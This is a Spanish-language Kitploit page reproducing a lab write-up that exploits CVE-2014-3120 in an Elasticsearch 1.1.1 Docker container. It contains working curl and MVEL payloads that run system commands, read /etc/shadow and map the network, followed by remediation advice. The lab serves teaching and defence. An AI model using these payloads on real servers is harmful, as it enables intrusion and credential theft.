Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2014-3120 | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2014-3120
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

LAB 10-CVE-2014-3120

I. ANÁLISIS DEL SISTEMA

Identificación de la superficie de ataque desde el entorno Docker

Empezamos por lo que se está ejecutando en el entorno. Listamos todos los contenedores activos:

root@kitploit:~
docker ps

image.png

Resultado: El contenedor p1/lab10:latest está en ejecución y expone 2 puertos externamente:

Mapeo de puertosProtocolo
0.0.0.0:9200 → 9200/tcpHTTP (requiere verificación)
0.0.0.0:9300 → 9300/tcpDesconocido

Observación inicial: Los puertos 9200 y 9300 son conocidos comúnmente como los puertos por defecto de Elasticsearch. Sin embargo, no podemos concluir basándonos únicamente en los números de puerto: muchos otros servicios pueden enlazarse a cualquier puerto.

⇒ Hacemos curl directamente a cada puerto para verificar qué servicio se está ejecutando realmente.

Probando el puerto 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

Análisis de la respuesta:

  • Respuesta: curl: (52) Empty reply from server
  • Cabecera del servidor: Ninguna: el servidor no devuelve ninguna respuesta HTTP.

Evaluación: El servidor aceptó la conexión TCP (no hubo rechazo de conexión), pero no respondió mediante el protocolo HTTP. Esto coincide con el comportamiento del protocolo de transporte de Elasticsearch en el puerto 9300: un protocolo binario utilizado para la comunicación entre nodos de un clúster, no HTTP.

⇒ Enfoque: El puerto 9300 utiliza un protocolo binario → no puede explotarse directamente mediante curl/navegador. Pasamos a comprobar el puerto 9200, el puerto de la API REST HTTP.


Probando el puerto 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

Análisis de la respuesta:

Evaluación de la superficie de ataque:

  • Confirmado que es Elasticsearch 1.1.1: el servicio devuelve una respuesta JSON característica con todos los detalles de la versión.
  • No se requiere autenticación: la API REST responde directamente sin exigir credenciales.
  • Elasticsearch 1.1.1 (2014) se encuentra dentro del alcance de varias CVEs críticas, especialmente CVE-2014-3120, una vulnerabilidad que permite la ejecución arbitraria de código mediante Dynamic Scripting.

image.png

⇒ Enfoque: Elasticsearch 1.1.1 habilita Dynamic Scripting por defecto, lo que permite a los clientes enviar scripts (expresiones MVEL) en las consultas de búsqueda para que el servidor las ejecute. Sin un sandbox ni una validación adecuada, un atacante puede inyectar un script malicioso para ejecutar comandos del sistema. Siguiente paso: verificar si Dynamic Scripting está realmente activo en el objetivo.

Verificación de Dynamic Scripting y del motor MVEL

¿Qué es Dynamic Scripting?

Elasticsearch admite una función de Scripting que permite a los clientes enviar scripts (expresiones matemáticas o lógicas) dentro de las solicitudes de búsqueda para que el servidor las ejecute al procesar los resultados. En Elasticsearch 1.x, el motor predeterminado de esta función es MVEL (MVFLEX Expression Language).

Problema de seguridad principal

En versiones de Elasticsearch anteriores a la 1.2, Dynamic Scripting está habilitado por defecto (script.disable_dynamic: false). Esto significa:

  1. La API REST no requiere autenticación.
  2. Los clientes pueden enviar scripts arbitrarios mediante el parámetro script_fields en la API _search.
  3. El motor MVEL carece de un sandbox suficientemente robusto, lo que permite el acceso al runtime de Java.
  4. Los atacantes pueden invocar java.lang.Runtime.getRuntime().exec() para ejecutar comandos del sistema.

Cómo funciona script_fields

Cuando se envía una solicitud de búsqueda con script_fields, Elasticsearch:

  1. Recibe la solicitud JSON mediante la API _search.
  2. Analiza el campo script_fields → localiza el script a ejecutar.
  3. Evalúa el script utilizando el motor MVEL.
  4. El motor MVEL tiene acceso completo al runtime de Java → puede invocar cualquier clase Java.
  5. Devuelve los resultados en la respuesta HTTP.

Análisis del vector de ataque: MVEL → Java Runtime → RCE

En Java, la forma más común de ejecutar un comando del sistema es:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL, como lenguaje de expresiones con acceso completo a las clases de Java, permite invocar esto directamente:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explicación de cada parte:

⇒ Enfoque: Con Elasticsearch, la salida del RCE se devuelve directamente en la respuesta; no es necesario redirigir a un archivo y volver a leerlo. Esto hace que el exploit sea más limpio y rápido de verificar.

II. EXPLOTACIÓN

Confirmación de que Dynamic Scripting está activo

Después de identificar el objetivo como Elasticsearch 1.1.1, el siguiente paso es verificar si Dynamic Scripting está realmente habilitado.

CVE-2014-3120 explota el hecho de que Elasticsearch permite a los clientes enviar scripts dentro de las solicitudes _search. Si el servidor ejecuta el script, un atacante puede reemplazar la expresión inofensiva por un payload que llame al Java Runtime para ejecutar comandos del sistema.

Primero, creamos un documento de prueba para asegurar que la consulta tenga al menos un resultado coincidente. Si ningún documento coincide, script_fields no se evaluará.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

A continuación, actualizamos el índice:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Luego, enviamos una solicitud _search con script_fields que contiene una expresión MVEL inofensiva:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Enviamos el script "1+1" y el servidor devuelve el resultado 2. Esto demuestra que Elasticsearch no solo recibe la solicitud _search, sino que ejecuta el script dinámico en el lado del servidor.

⇒ Dynamic Scripting está activo en el objetivo.

Dado que el objetivo es Elasticsearch 1.1.1, anterior a 1.2, esto coincide con los requisitos de explotación de CVE-2014-3120: Elasticsearch anterior a la versión 1.2 habilita Dynamic Scripting por defecto, lo que permite a un atacante remoto ejecutar expresiones MVEL/código Java mediante una solicitud de búsqueda.

Identificación de la ruta hacia la función de ejecución de comandos

Hemos verificado que script_fields es ejecutado por Elasticsearch en el lado del servidor mediante la expresión inofensiva "1+1", que devolvió [2].

Esto demuestra que el objetivo no solo permite búsquedas estándar, sino que también permite a los clientes enviar un script MVEL para que el servidor lo evalúe durante el procesamiento de _search.

Con CVE-2014-3120, el riesgo crítico radica en que MVEL en Elasticsearch 1.1.1 puede acceder a clases de Java. Por lo tanto, en lugar de enviar una expresión matemática como "1+1", un atacante puede enviar un script que llame al Java Runtime:

Runtime.getRuntime().exec("command")

Esta es la API estándar de Java utilizada para crear un nuevo proceso y ejecutar comandos en el sistema operativo.

Cadena de ataque

root@kitploit:~
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

Construcción del payload RCE y ejecución

Payload RCE:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Desglose del payload:

Resultado:

La respuesta devuelve el campo fields.exploit con la salida del comando id:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

Análisis:

El payload invocó con éxito Runtime.getRuntime().exec("id") mediante el script MVEL dentro de script_fields. El hecho de que la respuesta devuelva la salida del comando id demuestra que el comando se ejecutó en el lado del servidor.

El resultado uid=0(root) gid=0(root) groups=0(root) indica que el proceso de Elasticsearch dentro del contenedor se está ejecutando con privilegios de root.

Determinación de los límites de privilegios

Después de confirmar el RCE, se deben verificar los privilegios reales intentando leer archivos sensibles:

Leyendo /etc/shadow:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Resultado observado:

La respuesta devuelve el contenido del archivo /etc/shadow:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

Análisis:

El archivo /etc/shadow es un archivo sensible del sistema en Linux, que normalmente solo puede ser leído por el usuario root o por procesos con privilegios equivalentes. En el paso anterior, el comando id devolvió:

uid=0(root) gid=0(root) groups=0(root)

Este paso lo confirma aún más mediante el comportamiento real: el payload RCE es capaz de leer con éxito /etc/shadow.

⇒ Elasticsearch dentro del contenedor se está ejecutando con privilegios de root.

⇒ El impacto no se limita a la ejecución típica de comandos, sino que es RCE con privilegios de root dentro del contenedor.

Nota: El privilegio root aquí se refiere al root dentro del contenedor Docker. No podemos concluir que el atacante tenga privilegios de root en el host sin evidencia de que el contenedor se esté ejecutando en modo privilegiado, monte el socket de Docker o monte volúmenes sensibles del host.

III. POST-EXPLOTACIÓN

Recopilación de información del sistema

El RCE está confirmado. Procedemos a recopilar información del sistema para evaluar el alcance.

Listando el sistema de archivos raíz del contenedor

Después de confirmar el RCE con privilegios de root, ejecutamos el comando ls -la / mediante el payload MVEL para observar el sistema de archivos dentro del objetivo:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Resultado: La respuesta devuelve el contenido del directorio / en el campo rootfs.

Análisis:

El hecho de que la salida de ls -la / aparezca en la respuesta JSON demuestra que el comando se ejecutó en el objetivo mediante RCE. Archivos como docker-entrypoint.sh, el directorio elasticsearch y el enlace simbólico docker-java-home indican que el entorno comprometido es un contenedor que ejecuta Elasticsearch.

⇒ El atacante puede listar el sistema de archivos dentro del contenedor con privilegios de root.

Comprobación de la red: potencial de pivoting

Como el contenedor no tiene el binario /sbin/ifconfig, leemos /proc/net/route directamente. Este archivo no requiere utilidades externas y proporciona la tabla de rutas del contenedor.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Análisis:

Los resultados muestran que el contenedor tiene la interfaz eth0 y se encuentra dentro de la red Docker 172.19.0.0/16. La puerta de enlace predeterminada es 172.19.0.1.

Esto demuestra que el contenedor tiene conectividad de red interna a través del puente Docker. Dado que el atacante ya tiene RCE con privilegios de root dentro del contenedor, teóricamente podría proceder a inspeccionar otros hosts/servicios en la misma red Docker si las políticas de red lo permiten.

Sin embargo, esta salida solo demuestra visibilidad de red a nivel de enrutamiento, no un pivoting exitoso. Concluir un pivoting requiere evidencia adicional, como escanear con éxito otro host, conectarse a un servicio interno u obtener recursos de otra red.

IV. EVALUACIÓN DE RIESGOS Y RECOMENDACIONES

Evaluación de riesgos

Con base en la evidencia recopilada durante el análisis, el objetivo está ejecutando Elasticsearch 1.1.1 en el puerto 9200. Esta versión es anterior a la 1.2, por lo que se encuentra dentro del alcance afectado por CVE-2014-3120.

La vulnerabilidad se debe a que Elasticsearch habilita Dynamic Scripting por defecto antes de la versión 1.2, lo que permite a los clientes enviar scripts MVEL mediante solicitudes de búsqueda. En este laboratorio, se confirmó que esta función es funcional usando la expresión inofensiva "1+1", que devolvió el resultado [2].

Posteriormente, el payload MVEL invocó:

root@kitploit:~
Runtime.getRuntime().exec("id")

La respuesta devolvió:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Esto demuestra que un atacante puede ejecutar comandos del sistema a través de Elasticsearch. Además, el payload leyó con éxito /etc/shadow, lo que confirma que el privilegio de ejecución es root dentro del contenedor.

Recomendaciones de remediación

1. Actualizar Elasticsearch a una versión más reciente

Actualice Elasticsearch a la versión >= 1.2.0 (mínimo) o, idealmente, a la versión actualmente soportada (8.x). A partir de la versión 1.2, Dynamic Scripting está deshabilitado por defecto.

2. Deshabilitar Dynamic Scripting inmediatamente (si la actualización no es viable)

Agregue lo siguiente a elasticsearch.yml:

root@kitploit:~
script.disable_dynamic: true

Reinicie Elasticsearch después de realizar este cambio. Esto deshabilita por completo la capacidad de los clientes para enviar scripts dentro de las solicitudes de búsqueda.

3. No exponer la API REST de Elasticsearch a redes no confiables

Elasticsearch no tiene autenticación predeterminada en la versión 1.x. Si debe exponerse, colóquelo detrás de un proxy inverso con autenticación o enlácelo solo a 127.0.0.1.

Prioridad alta

4. Habilitar autenticación y cifrado

Las versiones modernas de Elasticsearch (7.x+) admiten seguridad integrada (autenticación, TLS). Si se actualiza, habilite las funciones de seguridad:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. Restringir el acceso mediante un firewall

Permita únicamente que IPs confiables accedan a los puertos 9200 y 9300. No los exponga a internet ni a toda la red interna.

6. Ejecutar Elasticsearch como un usuario con privilegios reducidos

No ejecute Elasticsearch con el usuario root. Cree un usuario dedicado elasticsearch con privilegios mínimos. Esta es una práctica recomendada oficial:

Descargar herramienta
CampoValorSignificado
name"Rage"Nombre del nodo de Elasticsearch (nombre aleatorio de personaje de Marvel: comportamiento predeterminado de versiones antiguas de ES)
version.number"1.1.1"Versión extremadamente antigua: publicada en abril de 2014
build_timestamp"2014-04-16T14:27:12Z"Compilada en 2014
lucene_version"4.7"Lucene 4.7: motor de indexación antiguo
tagline"You Know, for Search"Frase característica de Elasticsearch
ParteExplicación
import java.io.*Importa las clases de E/S de Java
Runtime.getRuntime()Obtiene la instancia del runtime de Java
.exec("id")Ejecuta el comando de shell id
.getInputStream()Obtiene el flujo de salida del proceso
new Scanner(...).useDelimiter("\\A").next()Lee toda la salida como una cadena
PartePropósito
"size": 1Limita el resultado a 1 documento
"query" → "match_all"Coincide con todos los documentos (requiere que exista al menos 1 documento en el índice)
"script_fields" → "exploit"Define un campo calculado que ejecuta el script MVEL
"script": "import java.io.*; ..."Expresión MVEL que ejecuta el comando id y devuelve la salida
CriterioEvaluaciónDetalles
CVECVE-2014-3120RCE por Dynamic Scripting en Elasticsearch
Servicio afectadoElasticsearchAPI REST expuesta en el puerto 9200
Versión1.1.1Anterior a 1.2, se encuentra dentro de las versiones afectadas
AutenticaciónNo requerida en el laboratorioLa API REST responde directamente, no se requieren credenciales
Condiciones de explotaciónDynamic Scripting habilitadoConfirmado por el script "1+1" que devuelve [2]
Privilegios obtenidosroot en el contenedorid devuelve uid=0(root)
ImpactoMuy altoRCE, lectura de archivos sensibles, listado del sistema de archivos, recopilación de detalles de usuario/red
AlcanceContenedorAún no hay evidencia de compromiso del host
PivotingPotencial de verificación adicionalEl contenedor tiene una ruta mediante eth0 en la red Docker 172.19.0.0/16